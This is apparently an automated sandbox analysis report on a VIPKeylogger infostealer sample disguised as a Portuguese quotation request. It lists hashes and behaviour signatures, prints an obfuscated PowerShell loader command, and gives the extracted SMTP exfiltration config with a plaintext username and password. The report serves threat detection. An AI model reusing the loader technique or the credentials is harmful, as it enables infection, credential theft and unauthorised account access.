Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
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submitted
25/03/2025, 15:50
General
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Target
Pedido de Cotação-250325.exe
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Size
696KB
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MD5
57d441d23e79a76c2511fb3e5dbefaa1
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SHA1
d830fb5adf84250140d478fe0a7ae0ce9a36d2b2
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SHA256
ad4941d74df74cc868e14e6e610f79f88945697697de40a9b2f65d2764efc472
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SHA512
48c3649fe095a0022bea0b35f5a0de1cbd6458fec1070e6fa1b655d704692e1c7ee25a6380194e2fbe991e1b0a38bafadf826d6eb4a98f64108aff37e1db7c3b
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SSDEEP
12288:Pk+LIW771Zv4WivvZh+JRgTq1Wtrt6PLl2gbXW4EgizmecljPuLmaeqGMeys1ck:fLjbv4Wivv/qOT5oDl2m4gKv0PmUmack
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.frirui.pt - Port:
587 - Username:
[email protected] - Password:
Friruimail2020 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 7 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Pedido de Cotação-250325.exe"C:\Users\Admin\AppData\Local\Temp\Pedido de Cotação-250325.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Undervisningscenter=GC -raw 'C:\Users\Admin\AppData\Local\tilkendelsens\disappearances\josts\Kommunalforvaltningens.Ant';$Tarmflora=$Undervisningscenter.SubString(53526,3);.$Tarmflora($Undervisningscenter)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
52KB
MD59b2206fe5822117ac8ae5e247b2479a0
SHA1d7ac05c9c67273fa850aed88f51380a18f0afd80
SHA256d035bd260c15a3cb57004a2bdcce676dbcf099b9b71fc03bc85db054b1ecedae
SHA51201ab18106ee90161334849a2ba5fb1a9473c6c20246258135c31dcb57ee2b12c53c3f47f2ff47f6da0e15af7f8aa4b66b9fd2aacc0d021e9d9f6c32ae4959326
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Filesize
396KB
MD525f3180e4a8186305ce9f424e2b866fe
SHA15c968a091a38e3728d807123faf9b5caeef36885
SHA256df68c3ca8ee2d56d48c3ee546e38cf931ce2eaa596964d7bd1653bd42abe5603
SHA51299fc0b22d55edb16be7b1aafa82d1dc445e3937a4409890891db085b8c2cc216e297bc94e647c986c3a015ca3002354c1306a83ef123ce99065d995d076931ed
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Filesize
18.3MB
-
Filesize
288KB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
320KB
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Filesize
1.8MB
-
Filesize
624KB
-
Filesize
18.3MB
-
Filesize
40KB
-
Filesize
32KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
-
Filesize
7.7MB
-
Filesize
200KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
652KB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
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Filesize
3.3MB
-
Filesize
168KB
-
Filesize
144KB
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Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
44.1MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
7.7MB
-
Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB